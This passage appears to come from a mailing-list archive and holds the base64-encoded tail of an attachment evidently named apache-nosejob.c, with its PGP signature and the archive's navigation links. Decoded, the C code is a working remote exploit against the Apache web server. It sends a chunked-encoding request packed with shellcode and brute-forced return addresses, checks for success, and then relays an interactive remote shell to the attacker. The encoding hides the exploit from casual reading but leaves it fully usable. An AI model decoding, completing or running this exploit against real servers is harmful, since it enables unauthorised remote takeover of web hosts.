Y29kZSwgc2l6ZW9mKHNoZWxsY29kZSkgLSAxKTsKCQkJcCArPSBzaXplb2Yoc2hlbGxjb2RlKSAt
IDE7CgkJCVBVVF9TVFJJTkcoIlxyXG4iKTsKCQl9CgoJCWZvciAoaSA9IDA7IGkgPCBSRVBfUE9Q
VUxBVE9SOyBpKyspIHsKCQkJUFVUX1NUUklORygiWC0iKTsKCQkJUFVUX0JZVEVTKFBBRFNJWkVf
MSwgUEFERElOR18xKTsKCQkJUFVUX1NUUklORygiOiAiKTsKCQkJZm9yIChqID0gMDsgaiA8IHZp
Y3RpbS5yZXByZXRhZGRyOyBqKyspIHsKCQkJCSpwKysgPSB2aWN0aW0ucmV0YWRkciAmIDB4ZmY7
CgkJCQkqcCsrID0gKHZpY3RpbS5yZXRhZGRyID4+IDgpICYgMHhmZjsKCQkJCSpwKysgPSAodmlj
dGltLnJldGFkZHIgPj4gMTYpICYgMHhmZjsKCQkJCSpwKysgPSAodmljdGltLnJldGFkZHIgPj4g
MjQpICYgMHhmZjsKCQkJfQoKCQkJUFVUX0JZVEVTKHZpY3RpbS5yZXB6ZXJvLCAwKTsKCQkJUFVU
X1NUUklORygiXHJcbiIpOwoJCX0KCgkJUFVUX1NUUklORygiVHJhbnNmZXItRW5jb2Rpbmc6IGNo
dW5rZWRcclxuIik7CgkJc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSAtIDEsICJcclxuJXhcclxu
IiwgUEFEU0laRV8yKTsKCQlQVVRfU1RSSU5HKGJ1Zik7CgkJUFVUX0JZVEVTKFBBRFNJWkVfMiwg
UEFERElOR18yKTsKCQlzbnByaW50ZihidWYsIHNpemVvZihidWYpIC0gMSwgIlxyXG4leFxyXG4i
LCB2aWN0aW0uZGVsdGEpOwoJCVBVVF9TVFJJTkcoYnVmKTsKCQkKCQlpZighc2hvd25fbGVuZ3Ro
KSB7CgkJCXByaW50ZigiWypdIEV4cGxvaXQgb3V0cHV0IGlzICV1IGJ5dGVzXG4iLCAodW5zaWdu
ZWQgaW50KShwIC0gZXhwYnVmKSk7CgkJCXNob3duX2xlbmd0aCA9IDE7IAoJCX0KCQkKCQl3cml0
ZShzb2NrLCBleHBidWYsIHAgLSBleHBidWYpOwoKCQlwcm9ncmVzcysrOwoJCWlmKChwcm9ncmVz
cyU3MCkgPT0gMCkKCQkJcHJvZ3Jlc3MgPSAxOwoKCQlpZihwcm9ncmVzcyA9PSAxKSB7CgkJCXBy
aW50ZigiXHJbKl0gQ3VycmVudGx5IHVzaW5nIHJldGFkZHIgMHglbHgiLCB2aWN0aW0ucmV0YWRk
cik7CgkJCWZvcihpID0gMDsgaSA8IDQwOyBpICsrKQoJCQkJcHJpbnRmKCIgIik7CgkJCXByaW50
ZigiXG4iKTsKCQkJaWYoYnJ1dGVmb3JjZSkKCQkJCXB1dGNoYXIoJzsnKTsKCQl9CgkJZWxzZQoJ
CQlwdXRjaGFyKCgocmFuZCgpPj44KSUyKT8gJ1AnOiAncCcpOwoKCgkJZmZsdXNoKHN0ZG91dCk7
CgkJcmVzcG9uc2VzID0gMDsKCQl3aGlsZSAoMSkgewoJCQlmZF9zZXQgICAgICAgICAgZmRzOwoJ
CQlpbnQgICAgICAgICAgICAgbjsKCQkJc3RydWN0IHRpbWV2YWwgIHR2OwoKCQkJdHYudHZfc2Vj
ID0gc2NfdGltZW91dDsKCQkJdHYudHZfdXNlYyA9IDA7CgoJCQlGRF9aRVJPKCZmZHMpOwoJCQlG
RF9TRVQoMCwgJmZkcyk7CgkJCUZEX1NFVChzb2NrLCAmZmRzKTsKCQoJCQltZW1zZXQoYnVmLCAw
LCBzaXplb2YoYnVmKSk7CgkJCWlmKHNlbGVjdChzb2NrICsgMSwgJmZkcywgTlVMTCwgTlVMTCwg
b3duZWQ/IE5VTEwgOiAmdHYpID4gMCkgewoJCQkJaWYoRkRfSVNTRVQoc29jaywgJmZkcykpIHsK
CQkJCQlpZigobiA9IHJlYWQoc29jaywgYnVmLCBzaXplb2YoYnVmKSAtIDEpKSA8IDApCgkJCQkJ
CWJyZWFrOwoKCQkJCQlpZihuID49IDEpCgkJCQkJewoJCQkJCQlpZighb3duZWQpCgkJCQkJCXsK
CQkJCQkJCWZvcihpID0gMDsgaSA8IG47IGkgKyspCgkJCQkJCQkJaWYoYnVmW2ldID09ICdHJykK
CQkJCQkJCQkJcmVzcG9uc2VzICsrOwoJCQkJCQkJCWVsc2UKCQkJCQkJCQkJcmVzcG9uc2VzID0g
MDsKCQkJCQkJCWlmKHJlc3BvbnNlcyA+PSAyKQoJCQkJCQkJewoJCQkJCQkJCW93bmVkID0gMTsK
CQkJCQkJCQl3cml0ZShzb2NrLCAiTyIsIDEpOwoJCQkJCQkJCXdyaXRlKHNvY2ssIGNtZHosIHN0
cmxlbihjbWR6KSk7CgkJCQkJCQkJcHJpbnRmKCIgaXQncyBhIFRVUktFWTogdHlwZT0lcywgZGVs
dGE9JWQsIHJldGFkZHI9MHglbHgsIHJlcHJldGFkZHI9JWQsIHJlcHplcm89JWRcbiIsIHZpY3Rp
bS50eXBlLCB2aWN0aW0uZGVsdGEsIHZpY3RpbS5yZXRhZGRyLCB2aWN0aW0ucmVwcmV0YWRkciwg
dmljdGltLnJlcHplcm8pOwoJCQkJCQkJCXByaW50ZigiRXhwZXJ0cyBzYXkgdGhpcyBpc24ndCBl
eHBsb2l0YWJsZSwgc28gbm90aGluZyB3aWxsIGhhcHBlbiBub3c6ICIpOwoJCQkJCQkJCWZmbHVz
aChzdGRvdXQpOwoJCQkJCQkJfQoJCQkJCQl9IGVsc2UKICAJCQkJCQkJd3JpdGUoMSwgYnVmLCBu
KTsKICAJCQkJCX0KCQkJCX0KCgkJCQlpZihGRF9JU1NFVCgwLCAmZmRzKSkgewoJCQkJCWlmKChu
ID0gcmVhZCgwLCBidWYsIHNpemVvZihidWYpIC0gMSkpIDwgMCkKCQkJCQkJZXhpdCgxKTsKCgkJ
CQkJd3JpdGUoc29jaywgYnVmLCBuKTsKCQkJCX0KCgkJCX0KCgkJCWlmKCFvd25lZCkKCQkJCWJy
ZWFrOwoJCX0KCgkJZnJlZShleHBidWYpOwoJCWNsb3NlKHNvY2spOwoKCQlpZihvd25lZCkKCQkJ
cmV0dXJuIDA7CgoJCWlmKCFicnV0ZWZvcmNlKSB7CgkJCWZwcmludGYoc3RkZXJyLCAiT29vcHMu
LiBoZWhlaGUhXG4iKTsKCQkJcmV0dXJuIC0xOwoJCX0KCX0KCglyZXR1cm4gMDsKfQo=
--Hush_boundary-3d1400bb1ebd0
Content-type: text/plain; name="apache-nosejob.c.sig"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="apache-nosejob.c.sig"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU
aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv
bQ0KDQp3ajhEQlFBOUZBQzhITkdubHlHWnNBOFJBaU5aQUo5MFdVSEJRallnOUtTeXpaS3owV0xk
ZGdPQmdnQ2NEZm9oL0RYTg0Kb1lXeGJDdThnbDJDejJTVWNyVT0NCj1vWm1CDQotLS0tLUVORCBQ
R1AgU0lHTkFUVVJFLS0tLS0NCg==
--Hush_boundary-3d1400bb1ebd0--

home help back first fref pref prev next nref lref last post